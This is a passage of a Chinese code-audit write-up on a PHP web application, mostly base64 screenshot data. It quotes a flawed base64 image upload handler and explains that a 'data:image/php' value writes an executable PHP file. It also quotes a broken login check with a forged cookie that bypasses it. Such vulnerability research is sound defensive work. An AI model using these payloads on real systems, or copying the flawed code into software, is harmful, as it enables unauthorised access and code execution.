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 truncated
|
||||
传入的$img前面必须要是以data:image/文件格式;base64,开头 然后后面跟上base64编码即可。然后$result[2]就是正则表达式中第二个()的部分,即为\w+ $result[1]就是最外面的括号即正则匹配部分data:image/php;base64, 所以直接写入就OK了,提一嘴本来想写入的是<?php phpinfo();?> 但是不知道为啥写入后自动去掉了> 所以索性直接传<?php phpinfo();</p>
|
||||
<div class=highlight><pre><span></span><span class=cp><?php</span>
|
||||
|
||||
<span class=nv>$img</span> <span class=o>=</span> <span class=nv>$_POST</span><span class=p>[</span><span class=s1>'imgbase64'</span><span class=p>];</span>
|
||||
<span class=k>if</span> <span class=p>(</span><span class=nb>preg_match</span><span class=p>(</span><span class=s1>'/^(data:\s*image\/(\w+);base64,)/'</span><span class=p>,</span> <span class=nv>$img</span><span class=p>,</span> <span class=nv>$result</span><span class=p>))</span> <span class=p>{</span>
|
||||
<span class=nv>$type</span> <span class=o>=</span> <span class=s2>"."</span><span class=o>.</span><span class=nv>$result</span><span class=p>[</span><span class=mi>2</span><span class=p>];</span>
|
||||
<span class=nv>$path</span> <span class=o>=</span> <span class=s2>"upload/"</span> <span class=o>.</span> <span class=nb>date</span><span class=p>(</span><span class=s2>"Y-m-d"</span><span class=p>)</span> <span class=o>.</span> <span class=s2>"-"</span> <span class=o>.</span> <span class=nb>uniqid</span><span class=p>()</span> <span class=o>.</span> <span class=nv>$type</span><span class=p>;</span>
|
||||
<span class=p>}</span>
|
||||
<span class=nv>$img</span> <span class=o>=</span> <span class=nb>base64_decode</span><span class=p>(</span><span class=nb>str_replace</span><span class=p>(</span><span class=nv>$result</span><span class=p>[</span><span class=mi>1</span><span class=p>],</span> <span class=s1>''</span><span class=p>,</span> <span class=nv>$img</span><span class=p>));</span>
|
||||
<span class=o>@</span><span class=nb>file_put_contents</span><span class=p>(</span><span class=nv>$path</span><span class=p>,</span> <span class=nv>$img</span><span class=p>);</span>
|
||||
<span class=k>exit</span><span class=p>(</span><span class=s1>'{"src":"'</span><span class=o>.</span><span class=nv>$path</span><span class=o>.</span><span class=s1>'"}'</span><span class=p>);</span>
|
||||
</pre></div>
|
||||
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095318-a76319e4-cec9-1.png><img src=data:image/png;base64,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 truncated
|
||||
<a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095325-ab4cab4c-cec9-1.png title><img src=data:image/png;base64,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 truncated
|
||||
<h2 id=toc-3><strong>逻辑缺陷登陆绕过漏洞</strong></h2>
|
||||
<p>前面的SQL注入都是未包含鉴权文件checklogin.php引起的,那我们可以去观察下这个文件。发现鉴权写的有很多问题,只要保证以下参数值不为空且存在即可绕过。<br>
|
||||
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;</p>
|
||||
<div class=highlight><pre><span></span><span class=x>function islogin(){</span>
|
||||
<span class=x> if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){</span>
|
||||
<span class=x> if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){</span>
|
||||
<span class=x> return true;</span>
|
||||
<span class=x> }</span>
|
||||
</pre></div>
|
||||
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095417-caabb2d0-cec9-1.png title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABt8AAAMpCAYAAABsbyz2AAEAAElEQVR4nOzdeXwU5f0H8M/M7uYC5BaBBIIkhCAgl0UCgggiqFwWbT2KRRDUtggWUWuxh/pDESXiCaIURKkWuRRBEAFrElHwREhILCEJKEK4Arl35vfH7jOZmZ29kk02CZ/3y7wku3M8c+7m+c73+0gVFZUqiIjqUHFxCX7++RdERUUhIsIBm80Om80Gm80W7qYREREREREREREREdWIHO4GENGFJyoqEorihNPphKKoUFXXDxERERERERERERFRQ8fgGxHVOVmWoSgKg25ERERERERERERE1Ogw+EZEYaEoCgNwRERERERERERERNToMPhGRGHlCrwx+EZEREREREREREREjQODb0QUFsx4IyIiIiIiIiIiIqLGiME3IgoLBt6IiIiIiIiIiIiIqDFi8I2I6gUG44iIiIiIiIiIiIioMWDwjYiIiIiIiIiIiIiIiChEGHwjIiIiIiIiIiIiIiIiChEG34iIiIiIiIiIiIiIiIhChME3IiIiIiIiIiIiIiIiohBh8I2IiIiIiIiIiIiIiIgoRGot+JabexgTJ0zCrp2f1tYqiIgCVlZWhoKCo+FuBhERERERERERERE1cvbaWnB8fGdMvGkCVq9+B8OuHupz2pUrV2Hd2vWYeNMETJ58ByZOmIRFqc8iPr4zVq5chfS0DLy65KXaamqN7Nr5KVJTF2PWrJmW23nPjD8AQNjbP3HCJMPv7dq182jTE0/MR0F+gWVb75nxB9x662/8Hstw87W//R2r+uzEiUKsWfMe7rlneo2WU1FRAafTiaioqBC1rOE4fvwE1qxZj0mTJiA2tmO4m0NEREREREREREREYXDH7XcEPO2qt1ZVax0hD77dM+MPOHbsmOE1Efhp164dHn5kLmbP+rPx/ZsmYN36NcjNPQwA6D+gPz799L+Ij++M9LQMpAwepAXoPOYzvbZu/ZqA2hRIAOaJJ+Zj7569PqdNTV2s/V/8W+g/oL+2XnPwq/+A/ijIL/Bol7ftMus/oD/++tdHAFhvn5kIZnqTm3sYe/fsxaLUZy3fTxk8SNu+mgSuRABMzyoQaNW+2bP+7HPalStX+dzfe/fsBWB9rO644zasWvW2xzIDORZA1f4N5FgAgM1uQ4QjAna7AxERDjgcDrzy6otep1/99r+RkNAVJ0+eQqtWLX0ue8+erxAR4Vqu3e5AhMMBR4QDDkcEWrZsAUVR4HQ6YbPZDPP98ssvuPjii/22PdDpiIiIiIiIiIiIiIguRCEPvr265CXcM+MPHgGSiRMm4dUlL2kBNqt